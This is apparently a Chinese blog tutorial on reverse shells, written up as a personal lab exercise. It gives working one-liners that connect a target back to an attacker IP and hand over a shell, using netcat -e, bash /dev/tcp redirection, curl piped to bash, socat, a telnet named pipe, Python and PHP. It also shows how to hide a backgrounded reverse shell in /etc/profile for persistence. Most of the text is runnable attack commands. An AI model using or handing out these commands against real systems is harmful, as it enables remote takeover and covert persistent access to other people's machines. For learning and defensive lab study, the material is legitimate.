# 什么是反弹 shell?

正向连接,就是攻击者用自己的攻击机连接到目标主机的某一端口,常见的有 web 服务、ssh、远程桌面等等。

实际情况下,总会有很多时候,我们不能通过正向连接访问到目标主机,这个时候就可以利用反向连接来实现。

反向连接,通俗来说就是,攻击者监听某个攻击机的指定端口,目标主机主动发起请求到该端口,并将命令行的输入输出转到攻击机上显示。

# 适用情况

反弹 shell 适用于如下几种常见的情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
    • 所以让目标机主动发送请求到攻击机指定端口来 getshell
      <br>
  • 目标机端口被占用
    • 但是攻击机不会存在什么端口限制
      <br>
  • 攻击者无法预知目标机什么时候会中病毒、木马,对方的网络环境是什么样的,什么时候开关机。
    • 所以采用 监听 + 诱骗目标机主动执行某程序 的方式获得 shell
      <br>
  • 虽然目标机中了招,但是目标机位于局域网,或 IP 会动态变化
    • 不能获得可用的 IP 地址

# 实现方式

反弹 shell 的方式有很多,那具体要用哪种方式还需要根据 目标主机的环境 来确定,
比如:

  • 如果有 netcat 或者 Socat 或者 Telnet 工具,那么可以利用 任意这三者之一 反弹 shell,
  • 如果 bash 可用,那么可以利用 bash 反弹 shell,
  • 如果具有 python 或者 php 的环境,那么可以利用 这些语言的脚本 反弹 shell。

# 利用 netcat 反弹 shell

Netcat(即 nc ) 是一款简单的 Unix 工具,使用 UDP 和 TCP 协议。它可以轻易的建立任何连接。

# 准备:

目前,默认的各个 linux 发行版本已经自带了 netcat 工具包。

但是有部分版本的 netcat-e 功能 被阉割了
(大概是出于安全考虑,因为 -e 可以直接发布与反弹本地 shell

对于这种情况,需要手动下载安装包,命令如下:

1
2
3
4
5
wget https://jaist.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

# 攻击机开启监听:

格式: nc -lvvp <攻击机监听的端口>

netcat -lvvp 23333
image-20230426012933906

# 目标机主动连接攻击机:

格式: nc <攻击机IP> <攻击机监听的端口> -e /bin/bash

netcat 192.168.158.139 23333 -e /bin/bash
image-20230426012929850

必须攻击机开始 监听,目标机再反弹 shell,这样才会有效果)

成功反弹 shell:
image-20230426012926374

# 利用 Bash 反弹 shell

使用 Bash 中 网络重定向 的方法

# 准备:

Kali Linux 中使用的 Shellzsh
可以用命令: echo %SHELL 查看当前系统使用的 Shell
image-20230426012919215

所以我们需要更换 Shell:

  • 更换: chsh -s /bin/bash
  • 重启: reboot
    image-20230426012915317

[注意]: 出现下图错误只是因为 攻击机 没开监听
image-20230426012907770

另外,Debian 中,部分版本可能默认没开 bash 的 网络重定向 选项,

对于这种情况,我们只能:加上 --enable-net-redirections 重新编译 bash
详见我的另一篇文章:【从源码重新编译 Bash:重定向功能】

# 命令:

(攻击机事先开启 本地监听)

格式: bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

bash -i >& /dev/tcp/192.168.158.139/23333 0>&1

成功反弹 shell:
目标机 界面 (反弹):
image-20230426012903048

攻击机 界面 (监听):
image-20230426012858851

# 详细解释:

  • bash -i
    • 产生一个 bash 交互环境。
  • >&
    • 把联合符号 前面 的内容与 后面 相结合,然后一起重定向给后者。
  • /dev/tcp/192.168.158.139/23333
    • /dev/tcp/ip/portbash 中定义的一个方法,
    • 作用是:让攻击机 (192.168.158.139) 和目标机,在攻击机的 23333 端口上,建立一个 tcp 连接。
  • 0>&1
    • 0、1 为文件描述符
    • 即将 标准输入 (0)标准输出 (1) 的内容相结合,然后重定向给前面 标准输出 (1) 的内容。(在反弹 shell 中实现 输入输出 的关键)

# Curl 配合 Bash

丰富一下用 Bash 反弹 Shell 的手段
(Curl 的命令借助了 Linux 中的管道)

# 1. 准备 index.php 文件:

攻击机中创建 index.php 文件,
填写的内容为:直接使用 Bash 反弹 Shell 的情况下,目标机中运行的命令,即:

bash -i >& /dev/tcp/192.168.158.139/23333 0>&1

存放web 目录下,
演示的 Kali Linux 虚拟机开启 Apache2 服务之后,对应目录为: /var/www/html/

开启 Apache2 服务之后,会在上述目录下生成一个 index.php 文件,
可以直接删去内容并 修改,该文件只是生成一个 web 页面而已(如下图)
image-20230426012853268

# 2. 攻击机打开 23333 端口的监听

命令: netcat -lvvp 23333

# 3. 目标机输入 Curl 命令反弹 shell

命令: curl 192.168.158.139|bash

实现如图:
image-20230426012839981

成功反弹 Shell

# Bash 反弹命令写入 /etc/profile 文件

文件 /etc/profile 中的内容,会在 Bash 窗口打开时执行。

# 如图:

(下图中我输入的是错误的代码,所以启动 Bash 之后,会输出报错内容到命令行)
image-20230426012821415
(如果是正确的代码,但是攻击侧没开监听,也会报错,如下图:)
image-20230426012825282

# 布置的步骤:

通过 vim /etc/profile ,编辑文件:
image-20230426012816962
<br>

  • 在末尾添加代码: /bin/bash -i >& /dev/tcp/192.168.158.139/23333 0>&1 &

该命令比直接反弹的代码在 末尾 多了一个 &
这是为了让打开 Bash 的用户能正常使用

image-20230426012812596

演示:

  • 攻击机开始监听 23333 端口
  • Xshell 打开目标机的会话(即启动了 Bash
    image-20230426012807425
  • 没有回显,且攻击机成功 getshell反弹成功
    image-20230426012804072

# 利用 Socat 反弹 Shell

SocatLinux 下一个多功能的网络工具,功能与 netcat (nc) 类似。
所以我们也可以使用 Socat,开监听、反弹 Shell

# 下载 Socat

试验之前,要先下载 SocatKali Linux 已经预装了该工具),
如果没有安装,使用命令: apt-get install socat

# 攻击机开启监听

命令: socat TCP-LISTEN:23333 -
image-20230426012759404

# 目标机通过 Socat 建立连接

命令: socat tcp-connect:192.168.158.139:23333 exec:'bash -li',pty,stderr,setsid,sigint,sane
image-20230426012754642

成功 反弹 Shell
image-20230426012750258

# 利用 Telnet 反弹 Shell

我们总会遇到,目标机 Netcat/dev/tcp/ 方法不可用的情况,
这时候如果 目标机配有 Telnet 服务,我们可以用 Telnet 建立反向连接。

  • 攻击机开启监听
    (用 nc 或者 socat 都行)
  • 目标机执行命令,建立连接:
    mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a
    image-20230426012739427
  • 成功获得 反弹 Shell
    image-20230426012732507

# 用 Python 脚本反弹 Shell

使用 Pythonsocket

攻击机开启监听后,直接使用命令:

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.158.139",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(或者也可以转化成 .py 的 Python 文件,然后命令行执行)

如下图所示:
image-20230426012727025
成功反弹 Shell
image-20230426012721830

# 用 php 脚本反弹 Shell

攻击侧开启监听,目标机执行的 php 脚本如下:

1
php -r '$sock=fsockopen("192.168.158.139",23333);exec("/bin/sh -i <&3 >&3 2>&3");'

实现如下:
image-20230426012715771
image-20230426012702683

# 最后

逐一实现了这么多的 反弹 Shell 的方法,我发现他们本质上都是一致的。

无论是用工具还是脚本,都是 建立连接 + 输入输出重定向。

总得来说,这样一遍下来,最开始读起来较为模糊的原理,现在也能够清晰地理解了。